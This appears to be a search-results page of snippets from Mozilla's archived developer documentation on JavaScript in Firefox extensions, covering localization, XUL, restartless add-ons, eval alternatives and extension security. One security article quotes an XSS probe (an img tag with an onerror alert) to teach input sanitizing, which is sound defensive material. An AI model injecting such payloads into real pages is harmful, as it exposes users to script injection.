It doesn't, yet, support localization of CSS or content scripts, or the add-on's title and description that appear in the Add-ons Manager. See Limitations below. Localized strings Translated strings are kept in a directory called "locale" under your main add-on directory, one file for each locale. ...
...ains a single localizable string, represented in English as "Hello!", and you want to supply US English and French French localizations. You'd add two files to the "locale" directory: my-addon/ data lib locale/ en-US.properties fr.properties "en-US.properties" contains this: hello_id= Hello! "fr.properties" contains this: hello_id= Bonjour ! Now whenever your
JavaScript or HTML asks the localization system for the translation of the hello_id identifier, it will get the correct translation for the current locale. Using localized strings in HTML This example uses the action button API, which is only available from Firefox 29 onwards. To reference localized strings from HTML, add a data-l10n-id attribute to the HTML tag where you want the localized string to a...
... Import the l10n module, and assign its get function to "_" (unders...
...utton and you'll be prompted for a new .properties file for that add-on. If you provide a new file, the add-on's locale data will be updated with the new file. Limitations The current localization support is a first step towards full support, and contains a number of limitations. There's no support for content scripts or CSS files: at the moment, you can only localize strings appearing in
JavaScript files that can require() SDK modules and in HTML. See bug 787351. The set of locale files is global across an add-on. This means that a module isn't able to override a more general translation: so a module informal.js can't specify that "hello_id" occurring in its code should be localized to "Hi!". The SDK tools compile the locale files into a JSON format when producing an XPI. This m...
Finding window handles - Archive of obsolete content
tNativeData(NS_NATIVE_WINDOW). Like this HWND GetHWND(nsIBaseWindow *window) { nsCOMPtr< nsIWidget > widget; window->GetMainWidget(getter_AddRefs(widget)); if (widget) return (HWND) widget->GetNativeData(NS_NATIVE_WINDOW); } Yet Another way to find a window handle (parent window handle) This method is for people who want to get the top level window HWND from the window object in
javascript. Comparing to the method above, by using this method, you don't have to compile your component with nsIWidget.h and other bunchs of h files that should not be exposed to outside, and could change every time Firefox updates, all you need is nsIBaseWindow.idl(It's not in gecko_sdk, get this from the latest Firefox source, or http://mxr.mozilla.org/mozilla/sourc...BaseWindow.idl), and use xpidl to c...
... it should be a lot better. Notice that by using only the C++ part of this code will get the the parent window handle of the nsIBaseWindow you give as a param. That means if you use the top level nsIBaseWindow as a param, NULL will be returned in the chain and cause crash of Firefox, that's a bug of firefox.(https://bugzilla.mozilla.org/show_bug.cgi?id=489045) Now, let's move forward. First, in
JavaScript, the code gets the nsIBaseWindow we want, it's a direct child of the top nsIBaseWindow. var baseWindow = window.QueryInterface(Components.interfaces.nsIInterfaceRequestor) .getInterface(Components.interfaces.nsIWebNavigation) .QueryInterface(Components.interfaces.nsIDocShellTreeItem) .treeOwner ...
...Run the snippets below from the Scratchpad in Environment > Browser. Recall that nsIBaseWindow -> nativeHandle returns the following in the different operating systems: Windows - HWND Mac OS X - NSWindow* Linux - GdkWindow* (it w...
...D.toString(), uneval(browserWindow_madeIntoXID)); // the code to focus the window is soon to come, its long and messy it needs to be made into a simple readable good for example. to see the messy code see here: https://gist.github.com/Noitidart/60aab0a96f060240614f#file-_ff-addon-snippet-x11_focusmostrecentwindowofpid-js-L354 gdk.close(); x11.close(); See Also js-ctypes - How to use C from
Javascript Standard OS Libraries - Specifics of js-ctypes per OS ...
Examples and demos from articles - Archive of obsolete content
[article] Typewriter effect [html] The following example will delete and re-type simulating a typewriter all the text content of the NodeList which match a specified group of selectors. [article] Fade In/Out [html] Sometimes a page uses dozens and dozens of animations. In such a condition is difficult and unnatural to keep track of all events started and then to stop them when appropriate through the clearTimeout() function. ...
... Determine if an element has been totally scrolled [html] This example shows how to determine whether a user has completely scrolled an element or not. [article] CSS Pure-CSS dropdown menu [html] With the :hover pseudo-class you can create complex cascade algorithms. This is a common technique used, for example, in order to create pure-CSS dropdown menus (that is only CSS, without using
JavaScript). .[article] Pure-CSS web gallery based on the :hover pseudoclass [zip] You can use the :hover pseudo-class in order to build an image gallery with full-size images shown only when mouse goes over previews. .[article] Pure-CSS web gallery based on the :checked pseudoclass [zip] You can also use the :checked pseudo-class applied to hidden radioboxes in order to build, for example, an image gal...
...seudo)<select> [html] This example shows how it's possible to simulate an editable <select> through a fieldset of radioboxes and textboxes. [article] Expandable elements [html] This example shows how it is possible to show/hide classes of elements in pure CSS. In this demo there is also an example of a "toggle button" rendered through a <label> element. [article] Code snippets and tutorials
JavaScript Complete cookies reader/writer with full unicode support This little framework consists of a complete cookies reader/writer with unicode support. XML to JSON conversion snippets (JXON) JXON (lossless
JavaScript XML Object Notation) is a generic name by which is defined the representation of
JavaScript Objects using XML. There are no real standards for this conversion, but some conventions b...
...ages. Do something if current document has changed since last visit Here is a possible example of how to show an alert message when current document changes. Do something if an external page has changed since last visit Here is a possible example of how to show an alert message when an external page changes. Import scripts Here is a possible example of how to dynamically import scripts with
JavaScript. CSS CSS Tutorial Aimed at complete beginners, this CSS tutorial for beginners introduces you to Cascading Style Sheets (CSS). It guides you through the basic features of the language with practical examples that you can try for yourself on your own computer and illustrates the standard features of CSS that work in modern browsers. Dropdown menus rules How to create pure-CSS dropdown menu...
HTML to DOM - Archive of obsolete content
. However, there are potential dangers involved in injecting remote content in a privileged context in your extension, so it can be desirable to parse the HTML safely. The function below will safely parse simple HTML and return a DOM object which can be manipulated like web page elements. This will remove tags like <script>, <style>, <head>, <body>, <title>, and <iframe>. It will also remove all
JavaScript, including element attributes that contain
JavaScript. function HTMLParser(aHTMLString){ var html = document.implementation.createDocument("http://www.w3.org/1999/xhtml", "html", null), body = document.createElementNS("http://www.w3.org/1999/xhtml", "body"); html.documentElement.appendChild(body); body.appendChild(Components.classes["@mozilla.org/feed-unescapehtml;1"] .getService(...
...ame"); frame.setAttribute("name", "sample-frame"); frame.setAttribute("type", "content"); frame.setAttribute("collapsed", "true"); document.getElementById("main-window").appendChild(frame); // or // document.documentElement.appendChild(frame); // set restrictions as needed frame.webNavigation.allowAuth = false; frame.webNavigation.allowImages = false; frame.webNavigation.allow
Javascript = false; frame.webNavigation.allowMetaRedirects = true; frame.webNavigation.allowPlugins = false; frame.webNavigation.allowSubframes = false; // listen for load frame.addEventListener("load", function (event) { // the document of the HTML in the DOM var doc = event.originalTarget; // skip blank page or frame if (doc.location.href == "about:blank" || doc.defaultView.frameEl...
...an convert it to a data URI and use that to load in the browser element. Using a hidden XUL iframe (alternate example) Sometimes, a browser element is overkill, or does not meet your needs, or you can't fulfill its requirements. While working on Donkeyfire, I discovered the iframe XUL element, and it is very easy to implement it. As an example, I will show a browser overlay .xul file, and some
JavaScript code to access it. Here is some XUL code you can add to your browser overlay .xul file. Don't forget to modify the id and name! <vbox hidden="false" height="0"> <iframe type="content" src="" name="donkey-browser" hidden="false" id="donkey-browser" height="0"/> </vbox> Then, in your extension's "load" event handler: onLoad: function() { donkeybrowser = document.getElementById("donkey-brows...
...The most inte...
Rosetta - Archive of obsolete content
"" : oDicts[sMimeType](oScript.text); oBaton.parentNode.insertBefore(oCompiled, oBaton); } function reqError (oError) { throw new URIError("The script " + oError.target.src + " is not accessible."); } function reqSuccess () { createScript(this.refScript, this); } function ...
...oScript.getAttribute("type").toLowerCase())) { oScript.hasAttribute("src") ? ...
... public it for our Rosetta script ! ...
...to include rosetta.js and your compiler within your HTML page and you will be able to execute scripts written in C together with scripts written in ECMAScript: example.html: HTML Example <!doctype html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>Rosetta C Example</title> <script type="text/
javascript" src="rosetta.js"></script> <script type="text/
javascript" src="rosetta_c.js"></script> <script type="text/x-csrc"> #include <stdio.h> int main () { printf("Hello world number 1!\n"); return 0; } </script> <script type="text/x-c" src="example.c"></script> </head> <body> <p>Lorem ipsum</p> <script type="text/
javascript"> rosetta.translateAll(); </script> </body> </html> example.c: C Example #include <stdio.h> int main () { printf("Hello wo...
Displaying web content in an extension without security issues - Archive of obsolete content
One of the most common security issues with extensions is execution of remote code in privileged context. A typical example is an RSS reader extension that would take the content of the RSS feed (HTML code), format it nicely and insert into the extension window. The issue that is commonly overlooked here is that the RSS feed could contain some malicious
JavaScript code and it would then execute with the privileges of the extension -- meaning that it would get full access to the browser (cookies, history etc) and to user's files. These issues can easily be avoided by making use of the existing security mechanisms in the Mozilla codebase. The following article explains these security mechanisms, ideally an extension that needs to display web content (which is always potentially dangerous) will...
...l the frames it loads (the "type" attribute is ignored at that point). So if we look at the frame hierarchy there is a boundary between chrome and content, and at that boundary a number of security mechanisms apply. In particular, a content document can only go up in the frame hierarchy until the topmost content document, it cannot access the chrome documents above it. This means for example that
JavaScript code top.location.href = "about:blank" will only unload the content document but won't have any effect on the chrome. Note: This has really nothing to do with the source of the document. If you open "chrome://foo/content/foo.xul" in the browser, it will open as a content document despite having extended privileges. This also means that you won't be able to establish a security boundary between yo...
...false); request.send(null); frame.setAttribute("src", "data:text/html," + encodeURIComponent(request.responseText)); That way you can have the template in your extension but still strip it off all privileges when it is loaded in a frame. Restricting what documents that contain untrusted data can do There are several restrictions that can be applied per frame. Here it is most important to disable
JavaScript and plugins. It won't harm disabling everything else as well unless it is really required: frame.docShell.allowAuth = false; frame.docShell.allowImages = false; frame.docShell.allow
Javascript = false; frame.docShell.allowMetaRedirects = false; frame.docShell.allowPlugins = false; frame.docShell.allowSubframes = false; But what about interactivity, for example if you want a certain reaction to mo...
...manipulation functions When it comes to displaying the data, it is tempting to generate some HTML code and to insert it into the document via innerHTML. And scripts won't run anyway when inserted via innerHTML, right? Well, not quite. It is right that <script>alert('xss')</script> won't run if inserted via innerHTML. But <img src="does_not_exist" onerror="alert('xss')"> for example will still run
JavaScript code, and there are many more possibilities. So properly sanitizing input is still required when using innerHTML and it is far from trivial. It is much easier to use DOM manipulation methods that won't have unexpected side-effects. For example, your template document might have this code: <style type="text/css"> #entryTemplate { display: none; } </style> <div id="entryTemplate"> <div class="...
How to convert an overlay extension to restartless - Archive of obsolete content
, stable version, or Nightly is generally a better idea if given the option, but some users take forever to upgrade. There will be no usage of the Add-on SDK or any other external libraries here. Everything will use APIs available in Firefox 17+ or code provided here. Step 1: Use Services.jsm If you load one of Mozilla's internal JSM files, for example Services.jsm, you'll do so via privileged
JavaScript code like this: Components.utils.import("resource://gre/modules/Services.jsm"); From here on out, it is assumed you've imported Services.jsm somewhere at the top of whatever file you're in and will be using it in all code examples. The examples will also assume that you know how to properly add instructions to your add-on's chrome.manifest to add and remove resource, chrome, locale, & etc. mapp...
... Firefox will attempt to autodetect and fail, resulting in an error message in the console. This doesn't seem to break anything, but it is easily avoidable by being explicit with the type. MDN says you can set the type to "json" instead, if you prefer to have it parse things for you. If your file is not text or JSON, then you're going to want to read binary data. The new way to do this is to use
JavaScript typed arrays. Specify "arraybuffer" as your data type to get one from your XMLHttpRequest. To access that data you're going to need a data view to look at your typed array with. Data that's homogeneous might get away with using something like Uint32Array or one of the other standard typed array views, but it's probably a bad idea. The basic typed array views are not endian-safe. This is incredibl...
... data type to get one from your XMLHttpRequest. To access that data you're going to need a data view to look at your typed array with. Data that's homogeneous might get away with using something like Uint32Array or one of the other standard typed array views, but it's probably a bad idea. The basic typed array views are not endian-safe. This is incredibly stupid. You'd think such an important new
JavaScript feature made available for web content and chrome alike would at least have a way to set and keep track of endianness, but no, it doesn't. Don't use any of the basic typed arrays for any data you did not earlier write into them in the same program session. Also, they're not particularly helpful if your data isn't all of the exact same type (which it probably isn't). The solution to read arbitrar...
...is a generic location for icons and the icon may still be in use by a different profile. Thus, you will probably want to use version numbers in the icon name (the ID of the window for which the icon exists). Step 9: bootstrap.js A bootstrap.js file in the root of your XPI, next to your chrome.manifest and install.rdf, will be the heart of your restartless add-on. Think of it as main.c, but for
JavaScript based Firefox restartless add-ons. A basic bootstrap.js file: Components.utils.import("resource://gre/modules/Services.jsm"); function startup(data,reason) { Components.utils.import("chrome://myAddon/content/myModule.jsm"); myModule.startup(); // Do whatever initial startup stuff you need to do forEachOpenWindow(loadIntoWindow); Services.wm.addListener(WindowListener); } functi...
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
Conference Summer 2007. Matsuzawa-san is a co-author of Firefox 3 Hacks (O'Reilly Japan, 2008.) This chapter discusses tools to assist in developing extensions. Tools for extension developers FIXME: Are we sure we'll talking about Venkman since it's not well maintained FIXME: We maybe should talk about Firebug and Chromebug FIXME: and what about Console 2 and Docked-JS Console? Venkman, the
JavaScript debugger Venkman is a full-fledged
JavaScript debugger that runs inside Firefox. It works like typical debuggers, and is useful not only for developing extensions, but also for general web development. Also, because it works with the
JavaScript in extensions and Firefox itself, the debugger can be a good way to learn about design methods. Installing This is bundled with the Mozilla Suite and ...
...cript in extensions and Firefox itself, the debugger can be a good way to learn about design methods. Installing This is bundled with the Mozilla Suite and the current version of SeaMonkey, but it needs to be installed as an extension in Firefox. See https://addons.mozilla.org/firefox/216/. Install the extension in Firefox directly from the above URL and relaunch Firefox. Starting up Select "
JavaScript Debugger" from the Tools menu. Targeting
JavaScript for debugging. When Venkman first launches, it can only debug the file currently open in your web browser. This is because a lot of
JavaScript files can slow down the browser down if they're opened for debugging, but you'll need to lift this restriction in order to develop extensions. Uncheck the "Exclude Browser Files" menu item under the Deb...
...function, and Step Into to always call it; once you are done investigating a function, use Step Out, and then you can Step Into the next function. Set breakpoints in locations of interest where you're not sure what's going on, and the next time you run it, use Continue to shift to that location and start investigating again. FIXME: Figure 4: Adding a watch target MozUnit MozUnit is a tool for
JavaScript that assists with unit testing. It provides an UI similar to that of Eclipse's JUnit test runner. It should be very easy for Java programmers to get up to speed on it quickly. Installing MozUnit is a feature of Mozlab. Install Mozlab from the following URL and relaunch Firefox. http://hyperstruct.net/projects/mozunit After relaunching, set up the editor you'll use to write tests. Open the abo...
... Column number The author uses Meadow, which is opened using gnuserv. C:\app\Meadow\bin\gnuclientw.exe +%l:%c %f Note that, at least in these tests, you will not be able to edit program files in your editor. And it's probably for the best that you don't use any filenames that have whitespace in them. Usage An RPN calculator We're going to implement a simple RPN3 calculator in
JavaScript to see how this can be used. On the program side, we'll create a class called RpnCalc. First we'll sketch out a simple interface for it (Listing 1). Save this as a file called calc.js. Listing 1: calc.js (stage 1) function RpnCalc() { } RpnCalc.prototype = { init: function() { }, push: function(val) { }, plus: function() { }, pop: function() { } } Implement the addition opera...
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
we look at the various interface objects, let's look at some of their common attributes, especially the frequently used ones. id and class The attributes id and class fill the same role that the XHTML attributes of the same names fill. id is used to define a unique name for an element, and class is used to classify elements; both of these provide convenient ways to refer to elements in CSS and
JavaScript. There are also special kinds of element that only come into play after being referenced by another element. orient Whether a box's contents will be vertically or horizontally arrayed depends on the elements in their initial state. You can explicitly set or change this layout using the orient attribute, with options for horizontal and vertical. align and pack The align and pack attributes bot...
...s example will only run correctly if it can run as Firefox code itself or installed extension code. Please be aware that if you attempt to open this sample directly in Firefox, it will not run correctly. Menus Hierarchically structured dropdown menus are the part of the user interface used for frequently accessed functions in an application or web service. In the past, a combination of HTML and
JavaScript was used to produce this sort of complex UI structure, but in XUL, it can be handled easily just by writing tags. Creating the menu Listing 9 shows how the menu element and its related elements are combined. This produces the output seen in Figure 6. <menubar> <menu label="Menu 1"> <menupopup> <menuitem label="Item 1"/> <menuitem label="Item 2"/> <menuseparator/> ...
... value="2"/> <menuitem label="Item 3" value="3"/> </menupopup> </menulist> Listing 17: A menulist example Figure 14: Output from Listing 17 By adding editable="true" to the menulist element, you can accept arbitrary text input in addition to a list selection, as is often used on font selection menus in word processors. Special elements Embedding images In addition to writing direct
JavaScript code in event handlers, XUL also allows you to embed scripts using a script element, just like in HTML; this can be used to read in an external script or to place the code in the script element's content. If you are embedding a script in a page, you should bracket your code inside a CDATA section as shown in Listing 18; this will avoid errors caused by mistakenly reading "&" and other characters...
...a script element, just like in HTML; this can be used to read in an external script or to place the code in the script element's content. If you are embedding a script in a page, you should bracket your code inside a CDATA section as shown in Listing 18; this will avoid errors caused by mistakenly reading "&" and other characters as the beginnings of entity references. <script type="application/
javascript"><![CDATA[ var nodes = gBrowser.mTabContainer.childNodes; for (var i = 0; i < nodes.length; i++) alert(nodes[i].label); ]]></script> Listing 18: Embedding a script in XUL Note: Although embedding
JavaScript is permitted, it's generally encouraged that you instead place your
JavaScript code in an external file. Browser and tabbrowser XUL allows you to use inline frames. You can set the ...
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
Using eval in add-ons is almost always unnecessary, and many times even a security vulnerability. Moreover, code using eval is harder to parse for a human mind, is often pretty complex, and relies on assumptions that are not necessarily true in the future or even now. This article is aimed at presenting alternatives to common eval uses in add-ons and other
Javascript code. Add-on authors are strongly encouraged to update their code to eliminate all instances of eval, no matter if the add-on is to be hosted in the Mozilla Add-ons Gallery or not. In order to host your add-on with Mozilla it is crucial to minimize or completely eliminate eval use in order to receive a positive review and have your add-on made public. If it cannot be easily proven that an eval() call is benign and necessary because ...
... possible another person with malicious intentions takes over your domain. The server and/or domain name might be compromised. If using an unencrypted, insecure connection, a Man-in-the-middle attacker might replace the JSON with attack code before it arrives at the user. Use Native JSON Since Firefox 3.5 you should use JSON. Really, just use it! Note: Do not use JSON parsers implemented in
JavaScript. These implementations are less efficient and often also contain serious security vulnerabilities. Such implementations are meant to be used within a very different security context, namely a website, where the origin of the data is usually known in all instances and where vulnerabilities would have a much smaller impact. What about JSONP? JSONP, which really is just another script tag containi...
...onymous function to pass around instead. Closures will ensure the code is still valid, even if your outer function already returned from execution. addEventListener("load", function() { myAddon.init(); myAddon.onLoad(); }, true); function doXHR() { //... var response = xhr.responseText; setTimeout(function() { alert(response); }, 100); } Alternative: Use Function.bind() Introduced in
JavaScript 1.8.5 Function.bind is a new utility function that you may use to (partially) bind parameters to functions. addEventListener("load", myAddon.init.bind(myAddon), true); setTimeout(alert.bind(null, xhr.responseText), 100); Function.bind() returns a new function. This is important to know in particular when you later want to call removeEventListener: You'll have to pass the resulting functio...
...menu").doCommand(); Alternative: Just hard-code what should happen If you know that the current version of the application will call { executeSomething(); executeSomethingElse();} then just do the same in your code. Of course, you'll need to update your add-on if the application changes. Accessing properties via computed names Not that common anymore, but still existing, are Add-Ons or other
Javascript programs that access object properties using eval when the property name is not a literal, but computed on the fly. //DO NOT USE! eval("myAddon.phrases.word" + word + " = '" + phrase + "';"); Again, this is not only unnecessarily hard to parse for a human, but may also contain security vulnerabilities if you compute the names using external data. Alternative: Using bracket-access to object pro...
The Essentials of an Extension - Archive of obsolete content
we used generic ids like container or input, they will likely conflict with ids used within Firefox, or with ids from other extension overlays. Using namespaces minimizes compatibility problems with other extensions. We use camel casing for file names, and all lower case with dashes for element ids and CSS style class names, but you're free to use your own system. <script type="application/x-
javascript" src="chrome://xulschoolhello/content/browserOverlay.js" /> Just like in HTML, this includes a
JavaScript script file. You can have as many script elements in a XUL document as you need. We'll look into its code later. You also probably noticed how we format our code, and wonder about the rules we follow. Our general rule on line length is not having lines longer than 80 characters. This ...
... the dev tools section, above its end separator. We'll discuss more about menus later on in the tutorial. Now let's look at the actual code: oncommand="XULSchoolChrome.BrowserOverlay.sayHello(event);" This attribute defines an event handler. The command event is the most frequently used in Firefox, since it corresponds to the main action for most UI elements. The value of the attribute is
JavaScript code that invokes a function. This function is defined in the JS file that was included with the script tag. The JS function will be called once the user clicks on the menu item in the Hello World menu. All event handlers define a special object named event, which is usually good to pass as an argument to the function. Event handlers are explained in greater depth further ahead. Now let's look a...
...that invokes a function. This function is defined in the JS file that was included with the script tag. The JS function will be called once the user clicks on the menu item in the Hello World menu. All event handlers define a special object named event, which is usually good to pass as an argument to the function. Event handlers are explained in greater depth further ahead. Now let's look at the
JavaScript file and see what's going on when the event is fired. /** * XULSchoolChrome namespace. */ if ("undefined" == typeof(XULSchoolChrome)) { var XULSchoolChrome = {}; }; The XULSchoolChrome namespace is defined. All objects and variables we define in this
JavaScript are global, meaning that scripts in Firefox and other extensions can see them and interact with them. This also means that if w...
...that if we define an object called MenuHandler or some other generic name, it's likely going to conflict with an existing object. What we do here is define a single global object: XULSchoolChrome. Now we know that all of our objects are inside this object, which is unlikely to be duplicated or overwritten by other extensions. You can read more about the typeof operator. If you're unfamiliar with
JavaScript or this particular syntax, initializing an object as {} is the equivalent of initializing it to new Object(). /** * Controls the browser overlay for the Hello World extension. */ XULSchoolChrome.BrowserOverlay = { Finally, BrowserOverlay is our object. Naming and referencing objects in such a long and verbose manner can feel uncomfortable at first, but it's worth the cost. We use Javad...
Security best practices in extensions - Archive of obsolete content
e, you want a web page to send a notification to the add-on (or vice versa). One way to do this is to use custom DOM events; see Interaction between privileged and non-privileged pages. Regardless of where the document comes from, you can further restrict what it can do by applying properties to the document holder, known as the docshell. frame.docShell.allowImages = false; frame.docShell.allow
Javascript = false; frame.docShell.allowPlugins = false; There are more examples listed in the document listed above in this section. In certain circumstances you may want to run code in your extension, but you would like to give it restricted privileges. One of the best ways to do this is to use Components.utils.evalInSandbox(). Note that objects passed into the sandbox are restricted, but objects that c...
...d to take steps to ensure that the content can not call back into the Web browser and run malicious code. The main way to do this is by creating an iframe or browser element in the sidebar, and loading your content there. Give the element a type="content" attribute, which essentially sandboxes the code there and blocks callback rights into chrome. Using eval() in an extension Using the built-in
JavaScript eval function is frowned upon in the context of extensions. While there are some legitimate use-cases, most of the time there are safer alternatives. This blog post offers some excellent reasons not to use eval(). Sandboxed HTTP connections The main purpose of sandboxed HTTP connections is to interact with a web service, without interfering with the cookies set in the browser by that service/si...
...n this document apply in this sphere, but here are some additional tips: API providers should use the https protocol, which provides better protection for data passed over the network. JSON has become a popular data format for return formats for Web services. Be sure to read Using native JSON to find out the correct way to handle it. APIs can't be used with self-signed certificates. Remote
JavaScript and Content There are a number of ways of remote scripts being used in extensions. They can be included in content, or downloaded at intervals. Non-chrome urls in chrome XUL or HTML such as the following example are not allowed: <script type="text/
javascript" src="http://mysite.greatsite.com/js/wow-content.js" /> In general, scripts that are from remote sources that run in the chrome context ...
...reasemonkey extension, which works on the premise of scripts being downloaded and stored locally, to be injected into the web content context via the sandbox. Many extensions use the Greasemonkey compiler to bundle it in their extension for convenience. If you choose to do so, beware when making edits to the bundled files so as not to break the well thought out security architecture. Third-party
JavaScript In the context of Web sites, using
JavaScript written by others is very common. It is not unheard of in add-ons as well, and can provide a useful way to avoid code duplication and accelerate development. This article is about websites, but gives some insights into the general risks. When you do include other scripts, there are a number of things you can do to ensure their integrity and safety fo...
Error Console - Archive of obsolete content
Error Console is deprecated in Firefox, and is now only made available if you set the devtools.errorconsole.enabled preference to true. Use the Web Console instead, for web content, or the Browser Console for chrome content. The Error Console is a tool available in most Mozilla-based applications that is used for reporting errors in the application chrome and in web pages user opens. It reports
JavaScript-related errors and warnings, CSS errors and arbitrary messages from chrome code. In Firefox, the Error Console can be opened from the tools menu or by Ctrl-Shift-J. For information about what
JavaScript exceptions get logged into the Error Console, and how to make all exceptions get logged, read the article Exception logging in
JavaScript. See Setting up extension development environment#Develop...
... Types of errors Error usually a syntax error that prevents the program from compiling. Warning usually lets the program compile but warns of bad coding and suggests design flaws. Message very similar to warning, used very rarely. ...
... program from compiling. Warning usually lets the program compile but warns of bad coding and suggests design flaws. Message very similar to warning, used very rarely. Manipulating data displayed in Error Console Information displayed in Error Console can be accessed and manipulated through the Console service. Extensions can write to the Error Console from
JavaScript using Components.utils.reportError, or if you're fine with logging to the OS-provided console, dump(). To bring up Error Console from within a browser or mail window, use the function to
JavaScriptConsole(). Alternatives Console2 This extension provides a replacement for Error Console, fixing many of its bugs and implementing long-wanted enhancement requests. ...
...rom within a browser or mail window, use the function to
JavaScriptConsole(). Alternatives Console2 This extension provides a replacement for Error Console, fixing many of its bugs and implementing long-wanted enhancement requests. Firebug The extension for Firefox also integrates the Error Console with various improvements. ...
Using microformats - Archive of obsolete content
c data to the browser in order to make it possible to present summaries of the information on a page without having to know how to parse the document itself. Firefox 3 implements a global Microformats object that provides access to microformats. This object and its API make finding and reading microformats easy to do. Loading the microformats API The Microformats object is created using the new
JavaScript script loader added to Firefox 3. To use the API, you need to first load the object: Components.utils.import("resource://gre/modules/Microformats.js"); Once you've loaded the microformats API, you can manage microformats using the methods listed here; for information about parsing microformats, see Parsing microformats in
JavaScript. Predefined microformats Firefox 3 provides definitions imp...
...on for a person. hCalendar Represents a calendar appointment entry. tag Used to add tags to other microformats. Methods add() Adds a new microformat to the microformat module. Note: If a microformat by the specified name already exists, it is replaced by the new one. add(name, definition); Parameters name The name of the microformat to add to the microformat module. definition A
JavaScript structure describing the microformat. See Describing microformats in
JavaScript for details. count() Counts the number of microformats in a document that match specified criteria. var numMicroformats = Microformats.count(name, rootElement, options); Parameters name The name of the microformat to count. rootElement Required. The DOM element at which to begin the search. If you want to ...
...ount() Counts the number of microformats in a document that match specified criteria. var numMicroformats = Microformats.count(name, rootElement, options); Parameters name The name of the microformat to count. rootElement Required. The DOM element at which to begin the search. If you want to search the entire document, specify content.document. options Optional. If provided, this is a
JavaScript object that contains zero or more of the following flags: recurseExternalFrames If true, child frames are included in the search. The default is true. showHidden If true, hidden microformats are added; otherwise they're left out. The default is false. debug Specify true if debug mode is in use; otherwise, specify false. The default is false. Return value An integer value indicating ...
...cts corresponding to the microformats found that match specified criteria. var microformatsArray = Microformats.get(name, rootElement, options, targetArray); Parameters name The name of the microformat to find. rootElement Required. The DOM element at which to begin the search. If you want to search the entire document, specify content.document. options Optional. If provided, this is a
JavaScript object that contains zero or more of the following flags: recurseExternalFrames If true, child frames that reference external content are included in the search. The default is true. showHidden If true, hidden microformats are added; otherwise they're left out. The default is false. debug Specify true if debug mode is in use; otherwise, specify false. The default is false. targetAr...
Java in Firefox Extensions - Archive of obsolete content
t has been removed in Gecko 16.0, so this page is out of date. You should still be able to use the Java plugin's scripting functionality, see LiveConnect for the pointers. Note bug 834918 about click-to-play effect on Java plugins in chrome and bug 775301. If you are in need of calling Java code from within a Firefox extension, you can make use of LiveConnect. LiveConnect gives your extension's
JavaScript code (linked from or contained in XUL code) access to 2 objects: java and Packages (note that per this thread, although the new documentation for the LiveConnect reimplementation states that these globals will be deprecated (in the context of applets), "Firefox and the Java Plug-In will continue to support the global java/Packages keywords, in particular in the context of Firefox extensions."). T...
...ontext of applets), "Firefox and the Java Plug-In will continue to support the global java/Packages keywords, in particular in the context of Firefox extensions."). These 2 objects let you make use of the standard JDK classes, e.g., var aJavaList = new java.util.LinkedList(); If you want to load your own JARs, then you can create your own Java class loader. The following technique only works in
JavaScript code linked from or contained in XUL files. If you wish to call Java code from within
JavaScript code that implements some XPCOM components, at this time, you need a different technique (refer to the complete Java Firefox Extension). A good reason for calling Java from within an XPCOM component rather than from XUL is to maintain a singleton (some singular Java object) across all Firefox windows.
...Be aware that i...
...One example seems to be the fact that the "java" global is not immediately available if the extension operates in a sidebar (using setTimeout solved it at least). I've had problems with stability in the latest XqUSEme when testing in Firefox 3.5b4, especially apparently on Linux (I haven't so far been able to find any workarounds/incompatibilities, but...
jspage - Archive of obsolete content
gator.plugins["Shockwave Flash"].description; },function(){return new ActiveXObject("ShockwaveFlash.ShockwaveFlash").GetVariable("$version");})||"0 r0").match(/\d+/g);return{version:parseInt(a[0]||0+"."+a[1],10)||0,build:parseInt(a[2],10)||0}; })();function $exec(b){if(!b){return b;}if(window.execScript){window.execScript(b);}else{var a=document.createElement("script");a.setAttribute("type","text/
javascript"); a[(Browser.Engine.webkit&&Browser.Engine.version<420)?"innerText":"text"]=b;document.head.appendChild(a);document.head.removeChild(a);}return b;}Native.UID=1; var $uid=(Browser.Engine.trident)?function(a){return(a.uid||(a.uid=[Native.UID++]))[0];}:function(a){return a.uid||(a.uid=Native.UID++);};var Window=new Native({name:"Window",legacy:(Browser.Engine.trident)?null:window.Window,initialize:...
...irstChild;},replaces:function(a){a=document.id(a,true);a.parentNode.replaceChild(this.toElement(),a); return this;},inject:function(a){document.id(a,true).appendChild(this.toElement());return this;},remote:function(){return Swiff.remote.apply(Swiff,[this.toElement()].extend(arguments)); }});Swiff.CallBacks={};Swiff.remote=function(obj,fn){var rs=obj.CallFunction('<invoke name="'+fn+'" returntype="
javascript">'+__flash__argumentsToXML(arguments,2)+"</invoke>"); return eval(rs);};var Fx=new Class({Implements:[Chain,Events,Options],options:{fps:50,unit:false,duration:500,link:"ignore"},initialize:function(a){this.subject=this.subject||this; this.setOptions(a);this.options.duration=Fx.Durations[this.options.duration]||this.options.duration.toInt();var b=this.options.wait;if(b===false){this.options.link=...
...ow((11-6*d-11*f)/4,2); break;}}return e;},Elastic:function(b,a){return Math.pow(2,10*--b)*Math.cos(20*b*Math.PI*(a[0]||1)/3);}});["Quad","Cubic","Quart","Quint"].each(function(b,a){Fx.Transitions[b]=new Fx.Transition(function(c){return Math.pow(c,[a+2]); });});var Request=new Class({Implements:[Chain,Events,Options],options:{url:"",data:"",headers:{"X-Requested-With":"XMLHttpRequest",Accept:"text/
javascript, text/html, application/xml, text/xml, */*"},async:true,format:false,method:"post",link:"ignore",isSuccess:null,emulation:true,urlEncoded:true,encoding:"utf-8",evalScripts:false,evalResponse:false,noCache:false},initialize:function(a){this.xhr=new Browser.Request(); this.setOptions(a);this.options.isSuccess=this.options.isSuccess||this.isSuccess;this.headers=new Hash(this.options.headers);},onSta...
...eXObject("Microsoft.XMLDOM"); g.async=false;g.loadXML(d);}else{g=new DOMParser().parseFromString(d,"text/xml");}d=g.getElementsByTagName("root")[0];if(!d){return null;}for(var f=0,e=d.childNodes.length; f<e;f++){var h=Element.clone(d.childNodes[f],true,true);if(h){a.grab(h);}}return a;})||a.set("html",c);},success:function(d){var c=this.options,b=this.response; b.html=d.stripScripts(function(e){b.
javascript=e;});var a=this.processHTML(b.html);b.tree=a.childNodes;b.elements=a.getElements("*");if(c.filter){b.tree=b.elements.filter(c.filter); }if(c.update){document.id(c.update).empty().set("html",b.html);}else{if(c.append){document.id(c.append).adopt(a.getChildren());}}if(c.evalScripts){$exec(b.
javascript); }this.onSuccess(b.tree,b.elements,b.html,b.
javascript);}});Element.Properties.load={set:function...
